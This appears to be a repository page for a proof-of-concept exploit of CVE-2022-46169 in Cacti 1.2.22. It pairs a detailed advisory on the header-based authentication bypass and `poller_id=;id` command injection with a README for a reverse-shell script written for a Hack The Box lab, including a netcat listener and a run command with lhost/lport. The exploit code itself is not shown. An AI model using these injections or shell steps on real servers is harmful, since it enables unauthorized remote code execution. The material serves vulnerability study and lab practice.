CVE-2022-46169 PoC — Unauthenticated Command Injection

Title:Unauthenticated Command Injection (CVE-2022-46169)
Description:Cacti is an open source platform which provides a robust and extensible operational monitoring and fault management framework for users. In affected versions a command injection vulnerability allows an unauthenticated user to execute arbitrary code on a server running Cacti, if a specific data source was selected for any monitored device. The vulnerability resides in the `remote_agent.php` file. This file can be accessed without authentication. This function retrieves the IP address of the client via `get_client_addr` and resolves this IP address to the corresponding hostname via `gethostbyaddr`. After this, it is verified that an entry within the `poller` table exists, where the hostname corresponds to the resolved hostname. If such an entry was found, the function returns `true` and the client is authorized. This authorization can be bypassed due to the implementation of the `get_client_addr` function. The function is defined in the file `lib/functions.php` and checks serval `$_SERVER` variables to determine the IP address of the client. The variables beginning with `HTTP_` can be arbitrarily set by an attacker. Since there is a default entry in the `poller` table with the hostname of the server running Cacti, an attacker can bypass the authentication e.g. by providing the header `Forwarded-For: <TARGETIP>`. This way the function `get_client_addr` returns the IP address of the server running Cacti. The following call to `gethostbyaddr` will resolve this IP address to the hostname of the server, which will pass the `poller` hostname check because of the default entry. After the authorization of the `remote_agent.php` file is bypassed, an attacker can trigger different actions. One of these actions is called `polldata`. The called function `poll_for_data` retrieves a few request parameters and loads the corresponding `poller_item` entries from the database. If the `action` of a `poller_item` equals `POLLER_ACTION_SCRIPT_PHP`, the function `proc_open` is used to execute a PHP script. The attacker-controlled parameter `$poller_id` is retrieved via the function `get_nfilter_request_var`, which allows arbitrary strings. This variable is later inserted into the string passed to `proc_open`, which leads to a command injection vulnerability. By e.g. providing the `poller_id=;id` the `id` command is executed. In order to reach the vulnerable call, the attacker must provide a `host_id` and `local_data_id`, where the `action` of the corresponding `poller_item` is set to `POLLER_ACTION_SCRIPT_PHP`. Both of these ids (`host_id` and `local_data_id`) can easily be bruteforced. The only requirement is that a `poller_item` with an `POLLER_ACTION_SCRIPT_PHP` action exists. This is very likely on a productive instance because this action is added by some predefined templates like `Device - Uptime` or `Device - Polling Time`. This command injection vulnerability allows an unauthenticated user to execute arbitrary commands if a `poller_item` with the `action` type `POLLER_ACTION_SCRIPT_PHP` (`2`) is configured. The authorization bypass should be prevented by not allowing an attacker to make `get_client_addr` (file `lib/functions.php`) return an arbitrary IP address. This could be done by not honoring the `HTTP_...` `$_SERVER` variables. If these should be kept for compatibility reasons it should at least be prevented to fake the IP address of the server running Cacti. This vulnerability has been addressed in both the 1.2.x and 1.3.x release branches with `1.2.23` being the first release containing the patch.

# CVE-2022-46169 PoC - Unauthenticated RCE in Cacti 1.2.22

This repo contains an exploit for CVE-2022-46169, affecting Cacti 1.2.22. This vulnerability allows an unauthenticated attacker to execute arbitrary code on the affected system.

If you want a detailed write up of how this exploit is possible please reference [this](https://www.rapid7.com/db/vulnerabilities/debian-cve-2022-46169/) Rapid7 post. They go into great detail on specifics. 

I wrote this code, with help from chatGPT for a Hack The Box machine called MonitorsTwo for educational purposes

## Usage
```
Arguments:
	-u URL of Cacti Application
	-lhost IP address of machine you want the shell on
	-lport Port of the machine you want the shell on
```

Set up a listener on your local machine with netcat `nc -lvnp 9001`

Run the exploit against the target
`python3 CVE-2022-46169.py -url http://10.10.11.211/ -lhost 10.10.14.3 -lport 9001`

## Disclaimer
This Proof of Concept (PoC) is meant strictly for educational and testing objectives. Engaging this PoC on any system or network without clear authorization from the system owner is unlawful and could lead to legal action. The creator accepts no responsibility for any harm arising from the proper or improper application of this PoC. Employ at your own peril.

## References
https://chat.openai.com/

https://www.rapid7.com/db/vulnerabilities/debian-cve-2022-46169/

 [4.0K]  /data/pocs/4a0544191fb1ca1c599f7ecc48746d6c9d171f25
├── [1.4K]  CVE-2022-46169.py
├── [ 34K]  LICENSE
└── [1.4K]  README.md

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